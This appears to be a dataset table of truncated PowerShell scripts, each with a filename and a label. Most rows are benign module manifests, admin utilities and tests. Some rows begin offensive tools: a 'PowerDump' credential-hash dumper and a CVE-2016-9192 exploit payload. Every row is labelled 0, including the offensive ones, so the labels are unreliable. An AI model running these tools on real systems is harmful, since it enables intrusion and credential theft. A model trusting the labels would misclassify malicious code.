filename stringlengths 5 142 | content stringlengths 2 26M | label int64 0 1 |
|---|---|---|
sample_59_64.ps1 | <#############################################################
# #
# Copyright (C) Microsoft Corporation. All rights reserved. #
# #
#############################################################>
... | 0 |
sample_4_79.ps1 | #
# Module manifest for module 'OCI.PSModules.Datacatalog'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Datacatalog.dll'
# Version number of this module.
ModuleVersion = '92.1.0'
# Supported PSEdition... | 0 |
sample_9_76.ps1 | #************************************************
# TS_KernelAuthRPCCheck.ps1
# Version 1.0
# Date: 5-1-2012
# Author: davidcop
# Description: Checks for kernel-mode authentication mismatch between server, web site, and /rpc virtual directory
#************************************************
$varx = Get-Cim... | 0 |
sample_55_71.ps1 | #
# Module manifest for module 'OCI.PSModules.Emaildataplane'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Emaildataplane.dll'
# Version number of this module.
ModuleVersion = '87.0.0'
# Supported PSE... | 0 |
8bcc60bd-75ac-494b-9b5a-36860a627c35.ps1 | #Generated Form Function
function GenerateForm {
########################################################################
# THIS CODE IS MADE AVAILABLE AS IS, WITHOUT WARRANTY OF ANY KIND. THE ENTIRE RISK
# OF THE USE OR THE RESULTS FROM THE USE OF THIS CODE REMAINS WITH THE USER.
#
# Code Generated By: Richard ... | 0 |
sample_30_22.ps1 | #
# Module manifest for module 'OCI.PSModules.Autoscaling'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Autoscaling.dll'
# Version number of this module.
ModuleVersion = '77.0.0'
# Supported PSEdition... | 0 |
sample_30_24.ps1 |
# ----------------------------------------------------------------------------------
#
# Copyright Microsoft Corporation
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apa... | 0 |
sample_53_30.ps1 | #
# Module manifest for module 'OCI.PSModules.Adm'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Adm.dll'
# Version number of this module.
ModuleVersion = '82.0.0'
# Supported PSEditions
CompatiblePSEd... | 0 |
sample_48_52.ps1 | #
# Module manifest for module 'OCI.PSModules.Osmanagementhub'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Osmanagementhub.dll'
# Version number of this module.
ModuleVersion = '74.1.0'
# Supported P... | 0 |
sample_34_40.ps1 | #
# Module manifest for module 'OCI.PSModules.Common'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Common.dll'
# Version number of this module.
ModuleVersion = '79.0.0'
# Supported PSEditions
Compatib... | 0 |
Resolve-Aliases _2.7.ps1 | #requires -version 2.0
## ResolveAliases Module v 1.6
########################################################################################################################
## Sample Use:
## Resolve-Aliases Script.ps1 | Set-Content Script.Resolved.ps1
## ls *.ps1 | Resolve-Aliases -Inplace
##############... | 0 |
chkhash_6.ps1 | # calculate SHA512 of file.
function Get-SHA512([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]'))
{
$stream = $null;
$cryptoServiceProvider = [System.Security.Cryptography.SHA512CryptoServiceProvider];
$hashAlgorithm = new-object $cryptoServiceProvider
$stream = $file.Open... | 0 |
Import-Methods.ps1 | param([type]$type = $(throw "need a type!"))
$type | Get-Member -static | Where {$_.membertype -eq "method" } |
% {
$func = "function:$($_.name)"
if (test-path $func) { remove-item $func }
new-item $func -value "[$($type.fullname)].InvokeMember('$($_.name)','Public,Static,InvokeMethod,DeclaredOnly', `$... | 0 |
1735.ps1 |
param(
$ETLFileName = '.\PerfViewData.etl',
[Parameter(Mandatory)]
[scriptblock]
$ScriptBlock,
$LogFileName = '.\perfview.log',
$PowerShellPath = $(Get-Command -Name pwsh.exe).Source,
$PerfViewPath = $(Get-Command -Name PerfView.exe).Source
)
$EncodedScriptBlock = [System.Convert]::ToBa... | 0 |
3617.ps1 |
function Test-AddGetListSetRemoveActionGroup
{
Write-Output "Starting Test-SetActivityLogAlert"
$resourceGroupName = 'Default-ActivityLogAlerts'
$actionGroupName = 'andygroup-donotuse'
$shortName = 'andygroup'
[bool]$t = $true
[bool]$f = $false
$emptyString=""
try
{
Write-Verbose " ... | 0 |
sample_28_25.ps1 | parameters:
- name: PAT
type: string
- name: isPreRelease
type: string
- name: ghCreateRelease
type: boolean
- name: ghReleaseAddChangeLog
type: boolean
steps:
- pwsh: |
$vsixFileName = (Get-ChildItem -File | Select-Object -First 1).Name
Write-Host "##vso[task.setvari... | 0 |
2130.ps1 |
Describe 'NullConditionalOperations' -Tags 'CI' {
BeforeAll {
$skipTest = -not $EnabledExperimentalFeatures.Contains('PSCoalescingOperators')
if ($skipTest) {
Write-Verbose "Test Suite Skipped. The test suite requires the experimental feature 'PSCoalescingOperators' to be enabled." ... | 0 |
286.ps1 | function Get-PSFTaskEngineTask
{
[CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Get-PSFTaskEngineTask')]
Param (
[string]
$Name = "*"
)
[PSFramework.TaskEngine.TaskHost]::Tasks.Values | Where-Object Name -Like $Name
} | 0 |
sample_29_58.ps1 |
# ----------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licen... | 0 |
sample_36_10.ps1 | <#
.SYNOPSIS
Demonstrates how to write a command that works with paths that do
not allow wildards and do not have to exist.
.DESCRIPTION
This command does not require a LiteralPath parameter because the
Path parameter can handle paths that use wildcard characters. That's
because this command... | 0 |
364.ps1 | function Register-PSFTypeSerializationData
{
[CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Register-PSFTypeSerializationData')]
Param (
[Parameter(ValueFromPipeline = $true, Mandatory = $true)]
[string[]]
$TypeData,
[string]
$Path = (Get-PSFConfigValue -FullName 'P... | 0 |
6bdd2502-383e-47c0-9f8c-f6424b6ba672.ps1 | # Connect-VIServer <vCenter server>
# Uncomment the next line to test this script
# $WhatIfPreference = $true
if (-not (Get-PSSnapin VMware.VimAutomation.Core -ErrorAction SilentlyContinue)) {
Add-PSSnapin VMware.VimAutomation.Core
}
if (-not (Get-PSSnapin Quest.ActiveRoles.ADManagement -ErrorAction SilentlyCont... | 0 |
sample_3_41.ps1 | // ==================================================================
// DCIM_License
// ==================================================================
[dynamic, provider("dcismprovider"),
Description (
"DCIM_License is a derivation of"
"CIM_ManagedElement, and represents a"
"feat... | 0 |
167.ps1 | function Test-DatePattern
{
$patterns = "d","D","g","G","f","F","m","o","r","s", "t","T","u","U","Y","dd","MM","yyyy","yy","hh","mm","ss","yyyyMMdd","yyyyMMddhhmm","yyyyMMddhhmmss"
Write-host "It is now $(Get-Date)" -ForegroundColor Green
foreach ($pattern in $patterns) {
[pscustomobject]@{
Pattern = $pattern
Sy... | 0 |
sample_48_3.ps1 |
function setName(element, newValue) {
this._element = element;
this._oldValue = this._element.name;
this._newValue = newValue;
onDo();
}
function getName() {
return "element renamed";
}
function onDo() {
this._element.name = this._newValue;
document.elementModified(this._e... | 0 |
Deploy Multiple VMs v1.1.ps1 | #############################################################
# Deploy-VM.ps1 v1.1
# David Summers 2011/8/2
# Script to deploy VM(s) from Template(s) and set appropriate
# IP config for Windows VMs. Also sets # of CPUs, MemoryMB,
# port group, and several custom attributes.
# Moves deployed VM to specific VMs/Te... | 0 |
8c6c6bed-3b96-4711-a7b1-2bce64494698.ps1 | Function Test-Server{
[cmdletBinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string[]]$ComputerName,
[parameter(Mandatory=$false)]
[switch]$CredSSP,
[Management.Automation.PSCredential] $Credential)
begin{
$total = Get-Date
$results = @()
if($credssp){if(!($credential)){Wri... | 0 |
sample_25_79.ps1 | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
@{
RootModule = './Microsoft.PowerShell.PSResourceGet.dll'
NestedModules = @('./Microsoft.PowerShell.PSResourceGet.psm1')
ModuleVersion = '1.0.4.1'
CompatiblePSEditions =... | 0 |
sample_5_55.ps1 | #************************************************
# DC_Setup_Addons.ps1
# Version 1.1
# Date: 2009-2019
# Author: Walter Eder (waltere@microsoft.com)
# Description: Collects additional Setup information.
# Called from: TS_AutoAddCommands_Setup.ps1
#*******************************************************
Param... | 0 |
Hash Checker_1.ps1 | #.Synopsis
# Test the HMAC hash(es) of a file
#.Description
# Takes the HMAC hash of a file using specified algorithm, and optionally, compare it to a baseline hash
#.Example
# Test-Hash npp.5.3.1.Installer.exe -HashFile npp.5.3.1.release.md5
#
# Searches the provided hash file for a line matching the "... | 0 |
sample_18_89.ps1 | [CmdletBinding(PositionalBinding=$false)]
Param(
[string][Alias('c')]$configuration = "Debug",
[string]$platform = $null,
[string] $projects,
[string][Alias('v')]$verbosity = "minimal",
[string] $msbuildEngine = $null,
[bool] $warnAsError = $true,
[bool] $nodeReuse = $true,
[switch][Alias('r')]$restore,... | 0 |
67.ps1 |
function Get-AuthToken {
[cmdletbinding()]
param
(
[Parameter(Mandatory=$true)]
$User
)
$userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User
$tenant = $userUpn.Host
Write-Host "Checking for AzureAD module..."
$AadModule = Get-Module -Name "AzureAD" -ListAvailable
if ($Aa... | 0 |
2581.ps1 |
Set-ExecutionPolicy Unrestricted
c:\temp\InitPowerSMO.ps1
$server = SMO_Server
$db = SMO_Database $server "PowerDW"
function global:PsDisk ($servername,$dn)
{
$Tablename='disk'
$var=@'
$disk $SizeMB $FreeMB $PercFree
'@
$out=''
$out=C:\Dexma\bin\psinfo \\$servername -d Disk
if ($out -LT '') {$Disc... | 0 |
sample_43_59.ps1 | ConvertFrom-StringData @'
IPAddressDisplayNameFormat=IP-Adresse: {0}
NetworkNameDisplayNameFormat=Name: {0}
NetworkNameOfflineDisplayNameFormat=IP-Adresse: Adresse in „{0}“
CreateClusterProgressValidationStart=Die Eignung von Servern für einen Failovercluster wird überprüft...
CreateClusterProgressValidationEnd=Di... | 0 |
sample_62_49.ps1 |
# ----------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the Licen... | 0 |
sample_36_91.ps1 | #
# Module manifest for module 'OCI.PSModules.Resourcemanager'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Resourcemanager.dll'
# Version number of this module.
ModuleVersion = '83.2.0'
# Supported P... | 0 |
sample_52_38.ps1 | #
# Copyright (c) Microsoft Corporation.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE ... | 0 |
sample_10_38.ps1 | # 2023-02-24 WalterE mod Trap #we#
$startTime_AutoAdd = Get-Date
trap [Exception]{
WriteTo-StdOut "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_" -shortformat; continue
Write-Host "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_"
}
Write-Host -Background... | 0 |
2979.ps1 | $VerbosePreference = 'Continue'
$ErrorActionPreference = 'Stop'
try {
$nugetPath = "$psScriptRoot\vendor\tools\nuget.exe"
Write-Host Nuget path $nugetPath
$nugetFound = Test-Path $nugetPath
if ($nugetFound) {
Write-Host Found local nuget.exe running it
$nugetRunnable = ... | 0 |
588.ps1 |
function Connect-VSphere{
param (
[parameter(Mandatory=$true)]
[string[]]$Name
)
if((Get-PSSnapin VMware.VimAutomation.Core -ErrorAction SilentlyContinue) -eq $Null){Add-PSSnapin VMware.VimAutomation.Core}
if((Get-PSSnapin VMware.VimAutomation.Vds -ErrorAction Silently... | 0 |
2696.ps1 | function Get-Entropy
{
[CmdletBinding()] Param (
[Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True, ParameterSetName = 'Bytes')]
[ValidateNotNullOrEmpty()]
[Byte[]]
$ByteArray,
[Parameter(Mandatory = $True, Position = 0, ParameterSetName = 'File')]
... | 0 |
sample_55_41.ps1 | #
# Module manifest for module 'PSGet_AzStackHci.EnvironmentChecker'
#
# Generated by: Microsoft Corporation
#
# Generated on: 19/01/2022
#
@{
# Script module or binary module file associated with this manifest.
RootModule = ''
# Version number of this module.
ModuleVersion = '1.... | 0 |
sample_51_61.ps1 | <#############################################################
# #
# Copyright (C) Microsoft Corporation. All rights reserved. #
# #
#############################################################>
... | 0 |
4219.ps1 |
function Invoke-PowerDump
{
$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
[DllImport("shell32.dll")]
public static extern bool IsUserAnAdmin();
}
"@
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
function ElevatePrivs
{
$si... | 0 |
Compare-DataSources_1.ps1 | #Define DPMHosts
[CmdletBinding()]
param([string]$PrimaryDPMHost, [string]$SecondaryDPMHost);
Write-Verbose "Compare-DataSources.ps1 written by Shai Perednik shaiss@gmail.com"
Write-Verbose "Primary DPM Host: $PrimaryDPMHost"
Write-Verbose "Secondary DPM Host: $SecondaryDPMHost"
#Load DPM Snaping
Write-Verbo... | 0 |
ISEFun_1.psm1.ps1 | # Module version 0.2
# Author: Bartek Bielawski (@bielawb on twitter)
# Purpose: Add functionality to PowerShell ISE
# Description: Adds Add-ons menu 'ISEFun' with all functions included.
# User can add any action there using Add-MyMenuItem function
# One of functions (Copy item from history) was build using... | 0 |
Help Differ 10000 v_1.01.ps1 | # These functions are meant to help generate a table that shows differences between
# cmdlets among different versions of a module.
# You will need a MoinMoin wiki to render the output.
# If you don't have a MoinMoin wiki you might be able to use the sandbox at http://moinmo.in/WikiSandBox
# Extracts some data fr... | 0 |
sample_7_66.ps1 | # ***********************************************************************************************
# Version 1.0
# Date: 02-17-2012 -- Last edit: 2022-06-01
# Author: Vinay Pamnani - vinpa@microsoft.com
# Description: Utility Script to load common functions.
# 1. Defines commonly used functions in the Troublesho... | 0 |
4214.ps1 |
Function Invoke-CVE-2016-9192 {
param ($CustomDLL)
[Byte[]] $payload =
0x4F, 0x43, 0x53, 0x43,
0x1A, 0x00,
0xE4, 0x00,
0xFF, 0xFF, 0xFF, 0xFF,
0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x01,
0x02,
... | 0 |
sample_30_11.ps1 | param(
[Parameter(Mandatory=$true)]
[string]$ZipFilePath,
[string]$DestinationFolder
)
Add-Type -AssemblyName System.IO.Compression.FileSystem
function Unzip
{
param([string]$zipfile, [string]$outpath)
Write-Output ">>>>Unzipping file '$zipfile' to folder '$outpath'"
[System.IO.Compres... | 0 |
sample_49_9.ps1 | param(
[String]
$InstallPath = "$($HOME)\Downloads",
[String]
$projPath
)
$ErrorActionPreference = "Stop"
$Stopwatch = [System.Diagnostics.Stopwatch]::new()
function ElegantExit([String]$Result) {
if (![string]::IsNullOrEmpty($Result)) {
& "$($PSScriptRoot)/sendMetrics.ps1" -... | 0 |
Write-IseFile.ps1 | function Write-IseFile($file, $msg)
{
$Editor = $file.Editor
$Editor.SetCaretPosition($Editor.LineCount, 1)
$Editor.InsertText(($msg + "`r`n"))
}
| 0 |
sample_3_92.ps1 | #
# Module manifest for module 'OCI.PSModules.Common'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Common.dll'
# Version number of this module.
ModuleVersion = '92.1.0'
# Supported PSEditions
Compatib... | 0 |
sample_66_94.ps1 | #requires -Version 5.0
enum BcArtifactSource {
OnPrem
Sandbox
Insider
}
#Import-Module (Join-Path $PSScriptRoot ClientContext\ClientContext.psd1)
#Import-Module (Join-Path $PSScriptRoot ClientContext\ClientContext.psm1)
#. "$PSScriptRoot\ClientContext\ClientContextLibLoader.ps1" -BcLibVersion (G... | 0 |
2715.ps1 |
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=0)]
[ValidateSet("MD5","SHA1","SHA256","SHA384","SHA512","RIPEMD160")]
[string]$HashType = "SHA256",
[Parameter(Mandatory=$False,Position=1)]
[String]$BasePaths,
[Parameter(Mandatory=$False,Position=2)]
[String]$... | 0 |
sample_52_48.ps1 | #
# Module manifest for module 'OCI.PSModules.Recovery'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Recovery.dll'
# Version number of this module.
ModuleVersion = '81.0.0'
# Supported PSEditions
Comp... | 0 |
Bytes.ps1 | #requires -version 2.0\nAdd-Type @"\npublic class Shift {\n public static int Right(int x, int count) { return x >> count; }\n public static uint Right(uint x, int count) { return x >> count; }\n public static long Right(long x, int count) { return x >> count; }\n public static ulong Right(ulong x, int ... | 0 |
sample_49_63.ps1 | !無法建立連線: 快取的認證已過期或密碼已更新。請重新輸入您的認證。#嘗試探索 PowerBI 環境時無法連線至 '%{strURL/}'。因為回應格式錯誤,所以 Power BI 後端端點搜尋失敗。無法呼叫 CertGetNameStringW。 無法驗證憑證鏈結。#指紋為 '%{strThumbprint/}' 的憑證簽發者不受信任。K此伺服器執行個體已在沒有設定安全通道憑證 (ServerSchannelTokenSignerCert) 的情況下啟動,不允許在執行階段期間設定憑證。C此伺服器執行個體已在有設定安全通道憑證 (ServerSchannelTokenSignerCert) 的情況下啟動,不允許將其清除。只允許... | 0 |
488.ps1 |
function Unzip-File{
[CmdletBinding()]
param (
[Parameter(Mandatory=$true, ValueFromPipeline=$true)]
[ValidateScript({
If((Test-Path -Path $_ -PathType Leaf) -and ($_ -like "*.zip")){
$true
}else{
Throw "$_ is not a valid... | 0 |
439.ps1 | Register-PSFConfigSchema -Name MetaJson -Schema {
param (
[string]
$Resource,
[System.Collections.Hashtable]
$Settings
)
Write-PSFMessage -String 'Configuration.Schema.MetaJson.ProcessResource' -StringValues $Resource -ModuleName PSFramework
$Peek = $Settings["Peek"]
$ExcludeFilter = $Settings["Ex... | 0 |
sample_50_40.ps1 | #
# Module manifest for module 'OCI.PSModules.Redis'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Redis.dll'
# Version number of this module.
ModuleVersion = '82.0.0'
# Supported PSEditions
Compatible... | 0 |
JSON _1.5.ps1 | #requires -version 2.0
# Version History:
# v 0.5 - First Public version
# v 1.0 - Made ConvertFrom-Json work with arbitrary JSON
# - switched to xsl style sheets for ConvertTo-JSON
# v 1.1 - Changed ConvertFrom-Json to handle single item results
# v 1.2 - CodeSigned to make a fellow geek happy
# v 1.3 - ... | 0 |
sample_8_78.ps1 | #
# Module manifest for module 'OCI.PSModules.Mysql'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Mysql.dll'
# Version number of this module.
ModuleVersion = '93.0.0'
# Supported PSEditions
Compatible... | 0 |
sample_8_72.ps1 | #************************************************
# TS_RegKeyCheck.ps1
# Version 1.0.1
# Date: 03-27-2011
# Author: Your Name - Your Email Address
# Description: This script checks if there is a registry value called 'DetectRootCause' in HKLM\SOFTWARE\Microsoft\Test
# And then flag it as a root cau... | 0 |
Test-Server.ps1 | Function Test-Server{
[cmdletBinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string[]]$ComputerName,
[parameter(Mandatory=$false)]
[switch]$CredSSP,
[Management.Automation.PSCredential] $Credential)
begin{
$total = Get-Date
$results = @()
if($credssp){if(!($credential)){Wri... | 0 |
sample_10_70.ps1 | ConvertFrom-StringData @'
id_clusterdependencyreport=Cluster resource dependency report
id_clusterdependencyreportdesc1=Obtaining cluster resource dependency report
id_clusterdependencyreportdesc=Obtaining cluster resource dependency report from group %GroupName%
'@
# SIG # Begin signature block
# MIIoUgYJKoZIh... | 0 |
INICIAR-RDP.ps1 | ########################################################################################################################
# NAME
# Start-RDP
#
# SYNOPSIS
# Opens a remote desktop connection to another computer.
#
# SYNTAX
# Start-RDP [[-Server] <string>] [[-Width] <int>] [[-Height] <int>]
# Star... | 0 |
sample_52_72.ps1 | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
function Test-ScriptExtent {
<#
.EXTERNALHELP ..\PowerShellEditorServices.Commands-help.xml
#>
[OutputType([bool], ParameterSetName='__AllParameterSets')]
[OutputType([System.Management.Automation.Language.IScriptExten... | 0 |
sample_2_55.ps1 | ###########################################################################
# DC_Hardware
# Version 1.0
# Date: 09-26-2012
# Author: mifannin
# Description: Collects Installed Hardware Data
###########################################################################
Import-LocalizedData -BindingVariable Hardwar... | 0 |
18072022-fd64-4e12-ae6e-d021defcfff3.ps1 | # Name: zip.ps1
# Author: Shadow
# Created: 05/12/2008
param([string]$zipfilename=$(throw "ZIP archive name needed!"),
[string[]]$filetozip=$(throw "Supply the file(s) to compress (wildcards accepted)"))
trap [Exception] {break;}
#empyt zip file contents
$emptyzipfile=80,75,5,6,0,0,0,0,0,0,0,0,0,0,0,0,0... | 0 |
2161.ps1 | function Load-Form {
$Form.Controls.AddRange(@($MainTabControl, $ButtonStart, $ButtonValidate, $SBStatus, $OutputBox, $GBOutputBox))
$MainTabControl.Controls.AddRange(@(
$TabPageSetup,
$TabPageMDT,
$TabPageWSUS,
$TabPageApplications,
$TabPageOS
))
$TabPageSetup.C... | 0 |
sample_4_92.ps1 | Param(
[Parameter(ValueFromPipelineByPropertyName = $true, Mandatory = $true)]
[ValidateSet('Release', 'RTP', 'Preview')]
$NugetConfiguration,
[Parameter(ValueFromPipelineByPropertyName = $true, Mandatory = $true)]
[ValidateSet('bc20', 'bc23', 'bc25')]
$BCVersion,
$configDirectory = "... | 0 |
Seach-LocalGroupMember.ps1 | function Seach-LocalGroupMemberDomenNetwork() {
param(
$Domen,
$User
)
function Ping ($Name){
$ping = new-object System.Net.NetworkInformation.Ping
if ($ping.send($Name).Status -eq "Success") {$True}
else {$False}
trap {Write-Verbose "Error Ping"; $False; continue}
}
[string[]]$Info
[stri... | 0 |
sample_37_55.ps1 | function Confirm-WACRSASZEnvironment {
<#
.SYNOPSIS
Check whether environment is ASZ or HCI. Returns true if ASZ, false if not
.DESCRIPTION
Check whether environment is ASZ or HCI. Returns true if ASZ, false if not
.ROLE
Readers
#>
try {
$regKeyPath = 'HKLM:/SOFTWARE/Microsoft/AzureStack'
i... | 0 |
New-StoredProcFunction_2.ps1 | # New-StoredProcFunction.ps1
# Steven Murawski
# http://blog.usepowershell.com
# 04/08/2009
# Example: ./New-StoredProcFunction.ps1 'Data Source=MySqlServer;Database=Northwind;User=AnythingButSa;Password=abc123' sp_createnewcustomer
# Example 'sp_createnewcustomer | ./New-StoredProcFunction.ps1 'Data Source=MySq... | 0 |
sample_63_71.ps1 | #
# Script module for module 'Az.Nginx' that is executed when 'Az.Nginx' is imported in a PowerShell session.
#
# Generated by: Microsoft Corporation
#
# Generated on: 07/31/2024 06:54:56
#
$PSDefaultParameterValues.Clear()
Set-StrictMode -Version Latest
function Test-DotNet
{
try
{
if ... | 0 |
2654.ps1 | Try {
If (([System.Diagnostics.Process]::GetCurrentProcess() | Select "SessionID" -ExpandProperty "SessionID") -eq 0) {
Exit 1
}
Else {
Exit 0
}
}
Catch {
Exit 2
} | 0 |
Twitter Module v0.2.1b.ps1 | <#
<#
Name: Social Media Scripting Framework
Module: Twitter
Version: 0.2 BETA
Date: 2013/02/03
Author: Carlos Veira Lorenzo
RoughRevision: chriskenis
e-mail: cveira [at] thinkinbig [dot] org
blog: thinkinbig.org
twitter: @cveira
facebook: www.facebook.com/cveira
Google+: gplus.to/cveira
LinkedIn: es.linke... | 0 |
sample_1_13.ps1 | # Name tss_FindUserBadPwdAttempts.ps1
<#
.SYNOPSIS
Script to find sAMAccountName, pwdLastSet, lockoutTime, DC, lastLogon, logonCount, badPwdCount, badPasswordTime for a username.
.DESCRIPTION
Script to assist in troubleshooting accounts experiencing bad password attempts.
It can also be used to investiga... | 0 |
1840.ps1 |
Describe "CredSSP cmdlet tests" -Tags 'Feature','RequireAdminOnWindows' {
BeforeAll {
$powershell = Join-Path $PSHOME "pwsh"
$notEnglish = $false
$IsToBeSkipped = !$IsWindows;
$originalDefaultParameterValues = $PSDefaultParameterValues.Clone()
if ( $IsToBeSkipped )
... | 0 |
get attach. from Lotus.ps1 | Param (
[Parameter(ValueFromPipelineByPropertyName=$True,
HelpMessage='Lotus Domino Server')]
$ServerName,
[Parameter(ValueFromPipelineByPropertyName=$True,
HelpMessage='Lotus Mail Database')]
$Database,
[Parameter(ValueFromPipelineByPropertyName=$True,
HelpMessage='View to Select')]
$View,
[P... | 0 |
sample_6_19.ps1 | # Rule ID 5135
# ---------
# http://sharepoint/sites/rules/Rule%20Submissions/Dynamics-CRM_ddevine_2012-08-15-08-30-43.xml
#
# Description
# -----------
# This checks the keys under HKLM\Software\Microsoft\MSCRM for the UR6 Upgrade keys
# If present, generate an alert. They are meant to only be in pla... | 0 |
sample_44_6.ps1 | #
# Module manifest for module 'OCI.PSModules.Loggingsearch'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Loggingsearch.dll'
# Version number of this module.
ModuleVersion = '77.0.0'
# Supported PSEdi... | 0 |
2752.ps1 |
if (Test-Path "$env:SystemRoot\handle.exe") {
$data = (& $env:SystemRoot\handle.exe /accepteula -a)
foreach($line in $data) {
$line = $line.Trim()
if ($line -match " pid: ") {
$HandleId = $Type = $Perms = $Name = $null
$pattern = "(?<ProcessName>^[-a-zA-Z0-9_.]+) ... | 0 |
after.ps1 | Get-WmiObject -Class Win32_MountPoint |
where {$_.Directory -like ‘Win32_Directory.Name="D:\\\\MDBDATA*"’} |
foreach {
$vol = $_.Volume
Get-WmiObject -Class Win32_Volume | where {$_.__RELPATH -eq $vol} |
Select @{Name="Folder"; Expression={$_.Caption}},
@{Name="Server"; Expression={$_.SystemNa... | 0 |
sample_63_65.ps1 | <#'/* DELL PROPRIETARY INFORMATION
'*
'* This software contains the intellectual property of Dell Inc. Use of this software and the intellectual property
'* contained therein is expressly limited to the terms and conditions of the License Agreement under which it is
'* provided by or on behalf of Dell Inc. or its s... | 0 |
Execute-SQLCommand_1.ps1 | function Execute-SQLCommand {param( [string]$Server, #the host name of the SQL server
[string]$Database, #the name of the database
[System.Data.SqlClient.SqlCommand]$Command) #the command to execute (name of stored procedure)
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection
$sqlCo... | 0 |
sample_51_99.ps1 | #
# Module manifest for module 'OCI.PSModules.Analytics'
#
# Generated by: Oracle Cloud Infrastructure
#
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'assemblies/OCI.PSModules.Analytics.dll'
# Version number of this module.
ModuleVersion = '81.0.0'
# Supported PSEditions
Co... | 0 |
248.ps1 | $scripts = Get-ChildItem -Path $PSScriptRoot -Recurse -Filter *.ps1 |
Where-Object FullName -NotMatch '.Tests.'
[regex]$regex = "(^[A-Z\-]+-)"
Describe -Tag 'Help' 'Help' {
foreach ($script in $scripts) {
Context "[$($script.BaseName)] Validate Comment Based Help" {
... | 0 |
sample_22_30.ps1 |
account-settings-title = Настройки за удостоверяване
account-channel-title = Подразбирани канали
chat-autologin =
.label = Вписване при пускане
chat-encryption-generic = Общо
chat-encryption-log =
.label = Включете шифровани от край до край съобщения в регистрационните файлове на разговорите
chat-encryption-la... | 0 |
Get-Payment.ps1 | function Get-Payment {
param ( $LoanAmount, [double]$InterestRatePerPeriod, $NumberPayments )
$a = $LoanAmount
$b = $InterestRatePerPeriod*[math]::Pow(($InterestRatePerPeriod + 1),$NumberPayments)
$c = [math]::Pow((1+$InterestRatePerPeriod),$NumberPayments) - 1
$payment = $a*($b/$c)
"{0:C}" -f $payment
}
... | 0 |
sample_9_43.ps1 | #
#
# Rule to check TurnOffFetchThrottling registry key
#
# http://support.microsoft.com/kb/911510
# http://msdn.microsoft.com/en-us/library/aa682811.aspx
#
# Created: 05/24/2012
# Author: Jonathan Randall
#****************************************************************************************************... | 0 |
sample_4_0.ps1 | # ***********************************************************************************************
# File: utils_ConfigMgr12-ps1
# Version 1.0
# Date: 02-17-2012 - Last edit 2022-06-01
# Author: Vinay Pamnani - vinpa@microsoft.com
# Description: Utility Script to load common variables/functions. View utils_ConfigM... | 0 |
UIAutomation _1.9.ps1 | ## UI Automation v 1.10 -- REQUIRES the Reflection module
##
# WASP 2.0 is getting closer, but this is still just a preview:
# -- a lot of the commands have weird names still because they're being generated ignorantly
# -- eg: Invoke-Toggle.Toggle and Invoke-Invoke.Invoke
# v 1.7 - Fixes using multiple checks... | 0 |
chkhash_29.ps1 | # calculate SHA512 of file.
function Get-SHA512([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]'))
{
$stream = $null;
$cryptoServiceProvider = [System.Security.Cryptography.SHA512CryptoServiceProvider];
$hashAlgorithm = new-object $cryptoServiceProvider
$stream = $file.Open... | 0 |
